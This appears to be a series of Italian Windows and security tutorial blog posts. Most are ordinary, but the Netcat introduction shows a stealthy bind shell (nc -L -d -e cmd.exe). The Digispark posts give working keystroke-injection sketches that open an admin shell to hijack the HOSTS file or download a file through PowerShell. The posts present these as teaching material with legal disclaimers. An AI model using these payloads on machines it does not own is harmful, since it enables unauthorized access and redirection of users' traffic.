domenica 17 novembre 2019

Windows Quick Tip: Diventare proprietari di un file/directory tramite il menu contestuale

Può capitare che un file bloccato dal sistema non consenta l'accesso o la modifica neanche da parte dell'amministratore. In questi casi l'amministratore di sistema può ripristinare l'accesso diventando il proprietario del file. L'operazione può essere eseguita sia tramite GUI (tasto destro del mouse sul file, selezionare Proprietà quindi cliccare sulla scheda Sicurezza, pulsante Avanzate) sia tramite prompt dei comandi attraverso il comando takeown.
Windows 10, Modificare il proprietario di un file
FIG 1 - Windows 10, Modificare il proprietario di un file

Se ci troviamo spesso a dover acquisire la proprietà di un file o di una directory può essere utile aggiungere un'apposita voce all'interno del menu contestuale. Per farlo basta aggiungere le seguenti chiavi/valori al registro di sistema


Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\*\shell\runas]
@="Diventa Proprietario"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\*\shell\runas\command]
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"

[HKEY_CLASSES_ROOT\Directory\shell\runas]
@="Diventa Proprietario"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"


Le chiavi di registro sopra indicate aggiungono la voce Diventa Proprietario al menu contestuale che appare quando si clicca con il tasto destro del mouse su un file o su una cartella. Selezionando tale opzione vengono eseguiti i comandi takeown e icacls che consentono all'amministratore del sistema di acquisire la proprietà del file o della cartella (compreso il suo contenuto) e disporre dei permessi full-access.


Windows, menu contestuale Diventa Proprietario
FIG 2 - Windows, menu contestuale Diventa Proprietario


Dal seguente link è possibile scaricare il file .reg che aggiunge al registro di sistema le chiavi/valori sopra riportati. Basta cliccare due volte sul file .reg per importarlo all'interno del registro di sistema (non è necessario riavviare il sistema per rendere effettive le modifiche).
DOWNLOAD





sabato 2 novembre 2019

Fogli Google: Ordinare i fogli in ordine alfabetico

Nell'articolo MS Excel: Ordinare i fogli in ordine alfabetico è stato mostrato come, attraverso l'utilizzo di VBA (Visual Basic for Application) sia possibile ordinare i fogli di una cartella di lavoro di un documento MS ExcelGoogle Docs (Documenti Google) non supporta VBA (proprietario di Microsoft) ma utilizza Google Apps Script: un linguaggio di scripting basato su JavaScript che gira nella cloud. In questo articolo mostrerò come creare uno script all'interno di Fogli Google che consenta di ordinare i fogli presenti all'interno del documento.

I passi da seguire sono semplici:
  • Creare un nuovo foglio di lavoro o aprirne uno già esistente accedendo a Google Docs tramite la pagina https://docs.google.com/spreadsheets/u/0/;
    Fogli Google, creare un nuovo foglio di lavoro
    FIG 1 - Fogli Google, creare un nuovo foglio di lavoro
  • Dal menu Strumenti selezionare Editor di script;
    Google Docs, Editor di script
    FIG 2 - Google Docs, Editor di script
  • Cliccare su Progetto senza titolo quindi assegnare un nome al progetto e cliccare su OK;
    Google Docs, Nome Progetto
    FIG 3 - Google Docs, Nome Progetto
  • Copiare e incollare il seguente codice;
    function onOpen() {
      SpreadsheetApp.getUi().createMenu('Ordina Fogli')
        .addItem('Ordina dalla A alla Z', 'sortAtoZ')
        .addItem('Ordina dalla Z alla A', 'sortZtoA')
        .addItem('Ripristina ordine prec.', 'ripristina')
        .addToUi();
    }
    
    function sortAtoZ() {
      var ss = SpreadsheetApp.getActiveSpreadsheet(), old = [];  
      ss.getSheets().map ( function (d) {
        var name = d.getName();
        old.push(name);
        return name;
      }).sort().reduce ( function  (arr, e, j) {
        ss.setActiveSheet(ss.getSheetByName(e));
        ss.moveActiveSheet(j + 1);
        return arr;
      }, []);
      PropertiesService.getScriptProperties().setProperty('old', JSON.stringify(old));
    }
    
    function sortZtoA() {
      var ss = SpreadsheetApp.getActiveSpreadsheet(), old = [];  
      ss.getSheets().map ( function (d) {
        var name = d.getName();
        old.push(name);
        return name;
      }).sort().reverse().reduce ( function  (arr, e, j) {
        ss.setActiveSheet(ss.getSheetByName(e));
        ss.moveActiveSheet(j + 1);
        return arr;
      }, []);
      PropertiesService.getScriptProperties().setProperty('old', JSON.stringify(old));
    }
    
    function ripristina(range) {
      var ss = SpreadsheetApp.getActiveSpreadsheet();
      var range = JSON.parse(PropertiesService.getScriptProperties().getProperty('old'));  
      range.reduce ( function  (arr, e, j) {
        ss.setActiveSheet(ss.getSheetByName(e));
        ss.moveActiveSheet(j + 1);
        return arr;
      }, []);
    }
    
  • Cliccare sul pulsante che rappresenta un insetto per eseguire il debug e il salvataggio del progetto e seguire le istruzioni a video per autenticare/autorizzare lo script;
    Google Docs, script debug
    FIG 4 - Google Docs, script debug
  • Chiudere e riaprire il foglio di lavoro. Apparirà un nuovo menu Ordina Fogli che consentirà di ordinare i fogli in maniera crescente (dalla A alla Z), decrescente (dalla Z alla A) o ripristinare l'ordine precedente all'ultima modifica.
    Google Docs, nuovo menu Ordina Fogli
    FIG 5 - Google Docs, nuovo menu Ordina Fogli


Come visibile dallo script, i nomi dei fogli vengono considerati come stringhe, ciò significa che se i nomi sono numeri questi vengono ordinati considerando l'ordine alfabetico e non il loro valore numerico.

Dal seguente link è possibile scaricare un file di testo contenente il codice dello script
DOWNLOAD






venerdì 1 novembre 2019

Introduzione a Netcat

Netcat è un programma open source a riga di comando in grado di inviare/ricevere dati su connessioni di rete utilizzando i protocolli TCP e UDP. Tale tool è molto versatile e consente di essere utilizzato in svariati contesti come port scanner, backdoor, port redirector/listener, trasferimento file, gestione remota di un sistema, debugging e controllo delle connessioni, ecc. Non è sempre la scelta migliore per tutte le occasioni ma per gli amministratori di rete o sicurezza è importante conoscere le potenzialità di tale strumento, utile soprattutto in caso di investigazione.

Il tool è incluso nella distribuzione Kali Linux molto utilizzata nell'ambito del penetration testing mentre in ambiente Windows va scaricato/installato a parte. Per visualizzare tutte le opzioni messe a disposizione da Netcat basta digitare il seguente comando da una finestra terminale
nc -help


NetCat, Sintassi e opzioni
FIG 1 - Netcat, Sintassi e opzioni

La sintassi del comando per la Connection mode è
nc [-options] hostname port[s] [ports]
mentre per la Listen mode la sintassi sarà simile a
nc -l -p port [-options] [hostname] [port]

Opzioni:
-c shell         simile all'opzione -e permette di specificare una shell da eseguire (ad es. /bin/sh)
-e nomeFile permette di specificare il programma da eseguire dopo la connessione (ad es. cmd.exe)
-b permette il broadcast
-g gateway source-routing hop point[s], fino a 8
-G num source-routing pointer: 4, 8, 12, ...
-h visualizza help
-i secs permette di specificare il delay prima della scansione delle porte
-k                imposta l'opzione keepalive sul socket
-l imposta modalità ascolto (listen mode)
-n forza Netcat a considerare solo l'indirizzo IP e a non interrogare server DNS
-o file dump esadecimale del traffico
-p port specifica la porta locale
-r imposta in modo casuale le porte locali e remote
-q secs esce dopo end of file (EOF) su stdin e attende i secondi specificati
-s addr indirizzo risorsa locale
-T tos imposta il tipo di servizio (Type Of Service)
-t Risponde alle negoziazioni TELNET
-u UDP mode
-v verbose [-vv imposta un livello verboso più elevato]
-w secs specifica il timeout per connessioni e ricezione
-C invia CRLF come line-ending
-z zero-I/O mode [modalità utilizzata per lo scanning]



Come intuibile da quanto visualizzato dal help, Netcat può essere avviato in 2 modalità: Connection mode e Listen mode.

Connection mode
Netcat agisce in modalità client connettendosi ad un host remoto e collegando il suo stdin e stdout al flusso di dati inviato/ricevuto. In pratica Netcat si connette ad un server remoto permettendo l'invio/ricezione dei dati al/dal server e visualizzando sia i dati inviati che quelli ricevuti all'interno della stessa shell.
Il comando per avviare Netcat in tale modalità sarà simile a
nc [opzioni] hostname porte
Netcat permette anche di specificare più porte a cui connettersi. La connessione avverrà su una porta alla volta in maniera sequenziale (o in maniera random se specificata l'opzione -r).


Listen mode
Nella modalità Listen, Netcat rimane in ascolto sulla porta specificata dall'opzione -p in attesa della connessione da un client remoto. Dopo la connessione il comportamento di Netcat è analogo a quanto indicato per la Connection mode. Il comando per impostare Netcat in tale modalità avrà il seguente aspetto
nc -l -p porta [host_remoto] [Porte_host_remoto]
-l imposta la modalità in ascolto
-p specifica la porta su cui Netcat rimane in ascolto.
[host_remoto] permette di specificare l'IP o il nome dell'host che può connettersi
[Porte_host_remoto] permette di specificare da quali porte dell'host remoto deve provenire la connessione affinché venga accettata.
Netcat Listen mode
FIG 2 - Netcat Listen mode



Di seguito vengono riportati alcuni esempi di contesti dove può essere utile utilizzare Netcat.


Banner Grabbing
Il Banner Grabbing è una tecnica utilizzata per ottenere informazioni su un sistema informatico, sui servizi in esecuzione e sulle porte aperte.
Per verificare se una porta di un sistema remoto è aperta basta passare a Netcat l'indirizzo IP e la porta che si intende verificare. Ad es.
nc 192.168.1.25 21
il comando utilizzato nell'esempio effettua una verifica sulla porta 21, generalmente utilizzata dal protocollo FTP, della postazione con indirizzo IP 192.168.1.25 e, in alcuni casi, può fornire anche ulteriori informazioni come l'applicazione e relativa versione in ascolto sulla porta.
Per forzare la visualizzazione di maggiori informazioni possiamo utilizzare lo switch -v 
nc -v -n 192.168.1.25 21
-v visualizza un output verboso.
-n forza Netcat a considerare solo l'indirizzo IP indicato e a non interrogare server DNS per la risoluzione di nomi.


Port Scanning
Il Port Scanning consiste nel sondare una macchina remota al fine di individuare quali porte siano in ascolto. Un semplice Port Scanning può essere effettuato tramite il comando
nc -v -w 2 -z target 1-200
-v ci consente di avere un output verboso
-w specifica un timeout, in secondi, per l'attesa della connessione/risposta.
-z imposta I/O mode, modalità utilizzata per il Port Scanning.
target permette di specificare il nome del host remoto seguito dalla porta, o il range di porte, da scansionare. Nell'esempio verranno verificare tutte le porte comprese nell'intervallo specificato (da 1 a 200).

In alcuni casi può essere utile limitare la velocità di scansione delle porte al fine di non essere individuati/bloccati. Ciò è possibile tramite lo switch -i che permette di specificare un ritardo, espresso in secondi, tra una scansione di una porta e l'altra.
Anche se Netcat può essere utilizzato per il Port Scanning, non si tratta della scelta migliore. Un tool più adatto in questo campo è Nmap.


Chat tra 2 PC
Tramite Netcat è possibile stabilire una chat tra 2 host. Supponiamo di avere 2 PC:
PC1 con IP 192.168.1.20
PC2 con IP 192.168.1.21

La prima cosa da fare è mettere in ascolto uno dei 2 PC. Sul PC1 eseguiamo il comando.
nc -lvp 6655
-l imposta la modalità in ascolto.
-v imposta un'output verboso.
-p imposta la porta su cui Netcat rimane in ascolto. Nell'esempio è stata selezionata la porta 6655.

Dal PC2 stabiliamo la connessione con il PC1 tramite il comando
nc 192.168.1.20 6655
A Netcat viene passato l'indirizzo IP del PC remoto e la porta sulla quale questo è in ascolto.

Una volta che la connessione è stabilita, tutto quello che viene digitato nella finestra (sull'uno o sull'altro PC) viene visualizzata anche nella finestra del PC remoto.


Trasferimento file tra 2 PC
Supponiamo di voler trasferire un file di testo dal PC2 al PC1. Il primo passo consiste nel mettere il PC1 in ascolto su una data porta con il comando
nc –l –p 6655 > file_ricevuto.txt
il carattere > trasferisce tutto ciò che viene ricevuto sulla porta all'interno del file file_ricevuto.txt.

Sul PC2 prepariamo un file di testo con il contenuto da trasferire e rinominiamolo file_inviato.txt quindi eseguire il comando
nc 192.168.1.20 6655 <file_inviato.txt
per inviare il file al PC1
Il contenuto del file file_inviato.txt verrà inviato dal PC2 al PC1 e memorizzato da quest'ultimo all'interno del file file_ricevuto.txt.

Un alternativa consiste nell'utilizzare il comando cat e predisporre un file sul server che il client può scaricare.
Sul PC1, che fungerà da server, eseguire il comando
cat backup.iso | nc -l 6655

mentre sul PC2, per scaricare il file, possiamo eseguire il comando
nc 192.168.1.20 6655 > backup.iso

Per visualizzare graficamente il trasferimento del file è possibile aggiungere il comando pv come mostrato di seguito:
cat backup.iso | pv -b | nc -l 6655
nc 192.168.1.20 6655 | pv -b > backup.iso


Tramite il comando dd di Linux possiamo creare un'immagine di una partizione del disco e inviarla ad una macchina remota. Sul server/PC1 eseguiamo il comando
dd if=/dev/sdb | gzip -9 | nc -l 6655
Dal PC2 connettersi al server per il download dell'immagine con il comando
nc 192.168.1.20 6655 | pv -b > partitionImage.img.gz



Controllo remoto
Netcat può essere utilizzato anche per eseguire comandi su una postazione remota. Sul PC che si intende controllare digitare il comando
nc -L -p 6655 -d -e cmd.exe
in caso di PC con sistema operativo Windows oppure
nc -L -p 6655 -d -e  /bin/sh
in caso di postazione con sistema Linux.

-L imposta Netcat in modalità ascolto sulla porta specificata. La lettera maiuscola indica una modalità più avanzata rispetto allo switch -l e nel caso in cui il socket venga chiuso Netcat ripristina l'ascolto. 
-p specifica la porta su cui Netcat resta in ascolto.
-d indica la modalità stealth (la finestra non viene visualizzata).
-e permette di specificare che programma eseguire una volta che la connessione è avvenuta. Per la postazione con sistema operativo Windows verrà avviato il prompt dei comandi mentre in Linux verrà avviato una finestra terminale.

Per connettersi alla postazione in ascolto basta passare a Netcat l'indirizzo IP della workstation remota e relativa porta a cui connettersi
nc 192.168.1.20 6655



Tunnel SSH
Nella connessione tramite Netcat i dati vengono inviati in chiaro all'interno della rete. Per proteggere la comunicazione è opportuno cifrare i dati tramite l'utilizzo di un tunnel SSH in modo da criptare i dati trasmessi.

Usando un tunnel SSH si hanno due vantaggi:
- I dati sono trasferiti dentro un tunnel criptato, in questo modo saranno ben protetti;
- Non si avrà il bisogno di mantenere nessuna porta aperta nel firewall della macchina che agisce da server, dato che tutte le connessioni passeranno nel tunnel SSH.

Nell'esempio mostrato di seguito andremo a trasferire un file attraverso un tunnel SSH. E' scontato dire che sulla macchina che agisce da server deve essere presente un processo server SSH. Sulla macchina server eseguire il comando:
cat backup.iso | nc -l 3333


Sulla macchina client, il comando per connettersi al server attraverso un tunnel SSH e procedere al download del file sarà del tipo 
ssh -f -L <porta_locale>:<IP_locale>:<porta_remota> utente@<IP_remoto> sleep 10; nc <IP_locale> <porta_locale>
ad es.
ssh -f -L 23333:127.0.0.1:3333 utente@192.168.1.20 sleep 10; nc 127.0.0.1 23333 | pv -b > backup.iso

-f una volta stabilita la connessione la mette in background.
-L crea un tunnel connettendo una porta locale con un porta del host remoto.

Il tunnel SSH verrà chiuso automaticamente dopo la fine del trasferimento del file.






domenica 20 ottobre 2019

Windows Quick Tip: Scaricare e installare diverse versioni del .NET Framework

Il .NET Framework  è un ambiente di esecuzione runtime della piattaforma .NET ed è costituito dal Common Language Runtime, che fornisce la gestione della memoria e altri servizi di sistema, e da un'ampia libreria di classi, che consente ai programmatori di sfruttare codice per tutte le aree principali dello sviluppo di applicazioni.
Nel corso del tempo il numero di versioni dei pacchetti .NET Framework disponibili per utenti e sviluppatori è andato moltiplicandosi. Ogni versione del framework offre funzioni e librerie specifiche e non è detto che una versione più recente sia retrocompatibile con quelle precedenti. Dunque un programma progettato per funzionare con una specifica versione di .NET Framework potrebbe non funzionare se sul sistema è installata una versione più aggiornata.
L'ultima versione del .NET Framework è parte integrante del sistema operativo Windows e viene aggiornata tramite Windows Update. Se si ha la necessità di installare una vecchia versione o una versione specifica del .NET Framework è possibile recuperarla tramite la pagina https://dotnet.microsoft.com/download/dotnet-framework.
Download versioni .NET Framework
FIG 1 - Download versioni .NET Framework


Per ciascuna versione di .NET Framework è possibile scaricare un installer web, un installer offline (che non necessita di connessione ad Internet durante l'installazione), pacchetti di traduzione dell'interfaccia e altri download accessori.





giovedì 17 ottobre 2019

Windows 10: Disabilitare l'assistenza remota

Windows 10 include la funzione Assistenza remota che permette all'utente, in caso di difficoltà, di richiedere l'aiuto di una persona più esperta permettendogli di connettersi al proprio computer da remoto. La funzione è attiva di default ma, per ragioni di sicurezza, converrebbe tenerla disabilitata.
Per accedere velocemente alle opzioni di Assistenza remota e disabilitarla:
  • Cliccare, con il tasto destro del mouse, sull'icona Start e seleziona Esegui dal menu contestuale (in alternativa premere la combinazione di tasti WIN+R);
  • Nella finestra di dialogo Esegui, digitare ed eseguire il comando
    systempropertiesremote 
  • Nella finestra Proprietà del sistema che appare a video, togliere la spunta alla casella Consenti connessioni di Assistenza remota al computer e cliccare sul pulsante OK per confermare la modifica.
    Windows 10, Assistenza remota al computer
    FIG 1 - Windows 10, Assistenza remota al computer

Per abilitare, in caso di necessità, la funzione di Assistenza remota, basterà procedere in maniera analoga e riattivare la spunta all'apposita casella.




lunedì 14 ottobre 2019

Digispark, Modificare l'immagine di sfondo di Windows

Nei precedenti articoli Creare una Rubber Ducky economica con una scheda Digispark e Digispark, modificare il file HOSTS in Windows 10 
sono state mostrare alcune delle operazioni effettuabili con un dispositivo Digispark di pochi euro.
In questo articolo la scheda Digispark verrà programmata in modo che esegua il download di un'immagine da remoto e la imposti come sfondo di Windows.
Digispark Kickstarter
FIG 1 - Digispark Kickstarter

L'immagine che verrà scaricata è la seguente:
Digispark, sostituzione Wallpaper
FIG 2 - Digispark, sostituzione Wallpaper


Per i dettagli sulle caratteristiche della scheda Digispark e informazioni sulla programmazione e predisposizione dell'IDE Arduino rimando al primo articolo.

Per la programmazione del dispositivo:
  • Scaricare il file Digispark_WallPaper.zip dal seguente link DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_WallPaper.INO per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, Programmazione tramite IDE Arduino
FIG 3 - Digispark, Programmazione tramite IDE Arduino


Di seguito il codice del programma:
#include "KeyboardIT.h"

void setup() {
}


void loop() {
  DigiKeyboard.sendKeyStroke(0);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.print("$client = new-object System.Net.WebClient");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  //Download immagine
  DigiKeyboard.print("$client.DownloadFile(\"https://1.bp.blogspot.com/
    -Gb4Ku1gaFao/XZ-PbzlCj3I/AAAAAAAAEc0/3uSk9g8fBvY3qKmdHf0OZg6FhfmV7xoEACLcBGAsYHQ/s1600/Wallpaper_Wile.jpg\" , \"Wile.jpg\")");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  //sostituzione Wallpaper
  DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\Wile.jpg\" /f"); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}






martedì 8 ottobre 2019

Digispark, modificare il file HOSTS in Windows 10

Nell'articolo Creare una Rubber Ducky economica con una scheda Digispark  è stato mostrato come programmare una scheda Digispark per recuperare i profili Wi-Fi con relative credenziali ed inviarle in allegato ad un'email ad un indirizzo di posta elettronica.
In quest'articolo la scheda Digispark verrà programmata per modificare il file HOSTS in modo che la navigazione web verso alcuni domini venga dirottata ad un indirizzo/server di nostra scelta.


Digispark Kickstarter
FIG 1 - Digispark Kickstarter
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Prima di procedere con la programmazione della scheda un breve accenno sul funzionamento del file HOSTS.

All'interno di una rete, che utilizza il protocollo TCP/IP, alle risorse viene generalmente assegnato un nome human-friendly in modo da facilitarne la connessione da parte degli utenti. Attraverso un processo chiamato risoluzione dei nomi, il sistema traduce il nome della risorsa nel corrispondente indirizzo IP. In ambiente Windows la risoluzione del nome di un host utilizza generalmente la seguente sequenza:
  • Il client verifica se il nome da risolvere è il proprio;
  • Viene interrogato il file HOSTS in locale sulla postazione;
  • Viene interrogato un server DNS.

Il file HOSTS non è altro che un file di testo (visualizzabile e modificabile da un qualsiasi editor di testo) che contiene indirizzi IP e i corrispondenti nomi host. Ciascun indirizzo IP è separato dal nome host da uno spazio bianco (anche se per ragioni storiche spesso viene utilizzato il carattere di tabulazione come separatore). All'interno del file HOSTS è possibile trovare/inserire anche righe di commenti riconoscibili dal carattere hash (#) presente all'inizio della riga. Poiché il file HOSTS in ambiente Windows ha la precedenza sull'interrogazione dei server DNS, può essere utilizzato per bloccare l'accesso a specifici siti o a dirottare la navigazione.. A partire da Windows XP il file HOSTS si trova all'interno della cartella %windir%\System32\drivers\etc.
File Hosts
FIG 1 - File Hosts


Per poter programmare la scheda Digispark, oltre gli opportuni driver, è necessario installare e configurare l'IDE di Arduino. Per questi passaggi e per informazioni più dettagliate sulla scheda rimando all'articolo precedente.

Per la programmazione del dispositivo:
  • Scaricare il file Digispark_file_HOSTS.zip dal seguente link
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_file_HOSTS.INO per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Programmare il dispositivo Digispark tramite l'IDE Arduino
FIG 2 - Programmare il dispositivo Digispark tramite l'IDE Arduino

Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 10 per modificare in pochi secondi il file HOSTS.

Rispetto a quanto visto nell'articolo precedente, il programma è molto più semplice:
#include "KeyboardIT.h"

void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  //Avvio prompt dei comandi come amministratore o PowerShell come amministratore in caso di Windows 10 aggiornato
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(1500);
  //Aggiunge riga al file HOSTS. Tentando di accedere al sito www.dell.com si viene dirottati all'indirizzo IP specificato
  // che corrisponde all'indirizzo www8.hp.com
  DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  //Esegue la pulizia della cache dei DNS
  DigiKeyboard.println("ipconfig /flushdns");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  //chiude la finestra del prompt dei comandi/PowerShell
  DigiKeyboard.println("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}


In pratica viene avviato Windows PowerShell (amministratore) (nel caso di versioni di Windows 10 non aggiornate viene avviato un prompt dei comandi con i privilegi di amministratore) dopodiché con l'istruzione
DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 
viene aggiunta la seguente riga al file HOSTS
15.73.4.77 www.dell.com
In questo modo tutte le volte che l'utente tenterà di accedere a www.dell.com verrà dirottato all'indirizzo IP 15.73.4.77 che corrisponde al sito di HP (www8.hp.com)
Successivamente viene svuotata la cache dei DNS con l'istruzione
DigiKeyboard.println("ipconfig /flushdns");
e chiusa la finestra di PowerShell.










lunedì 30 settembre 2019

Creare una Rubber Ducky economica con una scheda Digispark

La Rubber Ducky è una particolare pendrive USB che viene riconosciuta dai sistemi come una normale tastiera. Il dispositivo contiene, generalmente all'interno di una scheda micro SD, script che vengono eseguiti non appena collegato ad una porta USB del computer. Le Rubber Ducky vengono spesso utilizzate per il pentesting allo scopo di automatizzare la digitazione/esecuzione di comandi e hanno un costo che si aggira sui 45$. Tramite la porta USB il dispositivo può essere connesso praticamente a tutti i PC e le sue ridotte dimensioni ne consentono anche un utilizzo fraudolento.
In questo articolo verrà mostrato come preparare una Rubber Ducky economica spendendo pochi euro utilizzando una scheda Digispark.
Digispark Kickstarter
FIG 1 - Digispark Kickstarter
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Digispark Kickstarter è una piccola scheda di sviluppo USB basata sul microcontroller ATtiny85 simile a quello montato su Arduino Uno ma più piccolo, economico e meno potente. Il microcontroller è collegato direttamente alla presa USB, la tensione viene regolata tramite il regolatore MC78M00 che, se raffreddato adeguatamente, può fornire in output 500mA. La scheda può essere programmata tramite l'IDE di Arduino. Le caratteristiche principali della scheda sono: 
  • Supporto per Arduino IDE 1.0+ (OSX / Win / Linux)
  • Alimentazione tramite USB o sorgente esterna - 5v o 7-35v (consigliato 12v o meno, selezione automatica)
  • Regolatore con uscita 5V - 500mA
  • Integrato USB incorporato
  • 6 pin I / O (2 usano solo USB se il programma comunica attivamente tramite USB, altrimenti è possibile utilizzare tutti i 6 pin anche se si sta programmando tramite USB)
  • 8k Memoria Flash (circa 6k dopo il bootloader)
  • I2C e SPI
  • PWM su 3 piedini (altri con Software PWM)
  • ingresso ADC su 4 pin
  • LED di alimentazione e LED di stato

Digispark Kickstarter Pinout
FIG 2 - Digispark Kickstarter Pinout

Come visibile in FIG 2 , tutti i pin possono essere usati come I/O digitali.





Installazione manuale driver

Affinché la scheda venga riconosciuta dal sistema per la programmazione è necessario scaricare e installare manualmente i driver.
  • Scaricare i driver da https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip oppure da QUI;
  • Scompattare il file .zip ed eseguire il file Install Drivers.exe (a seconda della versione a 32 o 64 bit del sistema operativo verrà installata la relativa versione del driver);
  • Nella finestra Installazione guidata driver di periferica cliccare su Avanti;
    Installazione guidata driver Digispark
    FIG 3 - Installazione guidata driver Digispark
  • Nella finestra successiva selezionare la casella Considera sempre attendibile il software proveniente da "Digistump LLC" e cliccare su Installa;
    Installazione driver Digispark
    FIG 4 - Installazione driver Digispark
  • Al termine dell'installazione verrà visualizzata la finestra mostrata in FIG 5. Cliccare su Fine per terminare.
    Installazione driver Digispark completata
    FIG 5 - Installazione driver Digispark completata




Installazione IDE Arduino

Per la programmazione della scheda Digispark è necessario utilizzare l'IDE Arduino:
  • Da https://www.arduino.cc/en/main/software scaricare Arduino IDE;
  • Avviata l'installazione accettare le condizioni della licenza mostrata nella prima schermata cliccando su I Agree;
    Installazione IDE Arduino, accettazione licenza
    FIG 6 - Installazione IDE Arduino, accettazione licenza
  • Nella schermata successiva accettare le impostazioni suggerite cliccando su Next;
    Installazione IDE Arduino, selezione componenti
    FIG 7 - Installazione IDE Arduino, selezione componenti
  • Accettare il percorso di installazione dell'IDE e cliccare su Install per avviare l'installazione del software;
    Installazione IDE Arduino, selezione del path di installazione
    FIG 8 - Installazione IDE Arduino, selezione del path di installazione
  • Nelle finestre successive selezionare la casella Considera sempre attendibile il software proveniente da "......" e cliccare sul pulsante  Installa;
    Installazione IDE Arduino, installazione software/driver
    FIG 9 - Installazione IDE Arduino, installazione software/driver
  • Al termine dell'installazione cliccare su Close.

    Installazione IDE Arduino completata
    FIG 10 - Installazione IDE Arduino completata




Configurazione IDE Arduino e test Digispark Kickstarter 

  • Avviare l'IDE quindi dal menu File selezionare Impostazioni;
    Arduino IDE
    FIG 11 - Arduino IDE
  • Nella casella URL aggiuntive per il Gestore schede digitare, se non già presente, l'indirizzo http://digistump.com/package_digistump_index.json e cliccare su OK;
    Arduino IDE, Impostazioni
    FIG 12 - Arduino IDE, Impostazioni
  • Dal menu Strumenti selezionare Scheda: quindi cliccare su Gestore schede...;
    Arduino IDE, Gestore Schede
    FIG 13 - Arduino IDE, Gestore Schede
  • Nella casella denominata Tipo selezionare Fornito da terzi quindi, dall'elenco, selezionare il pacchetto Digitump AVR Boards e cliccare su Installa;
    Arduino IDE, Gestore schede
    FIG 14 - Arduino IDE, Gestore schede
  • Terminata l'installazione chiudere la finestra Gestore schede e selezionare Digispark (Default - 16.5mhz) dal menu Strumenti -> Scheda.
    Arduino IDE, Scheda Digispark (Default - 16.5mhz)
    FIG 15 - Arduino IDE, Scheda Digispark (Default - 16.5mhz) 

Adesso che l'ambiente di sviluppo è stato configurato è possibile testare la scheda utilizzando uno degli esempi presenti all'interno dell IDE.
  • Dal menu File selezionare Esempi quindi Digispark_Examples;
  • Dall'elenco selezionare il progetto Start;
    Arduino IDE, Digispark Examples
    FIG 16 - Arduino IDE, Digispark Examples
  • Premere il pulsante di caricamento. Il codice verrà compilato e nella barra di stato dell'IDE verrà richiesto di collegare il dispositivo Digispark per il caricamento (se già collegato, scollegarlo e ricollegarlo);
    Arduino IDE, Compilazione e caricamento codice
    FIG 17 - Arduino IDE, Compilazione e caricamento codice
  • Inserire il dispositivo Digispark ed attendere il caricamento del codice. Al termine del caricamento il led sulla scheda inizierà a lampeggiare con la frequenza di 1Hz (ossia 1 volta al secondo).


Da questo momento il programma è caricato all'interno del dispositivo, basterà collegarlo ad una fonte di alimentazione e, dopo qualche secondo, verrà eseguito il codice caricato. Il ritardo nell'esecuzione del codice (generalmente di 5 secondi) è dovuto al controllo eseguito dal dispositivo per verificare se si sta tentando di programmarlo.



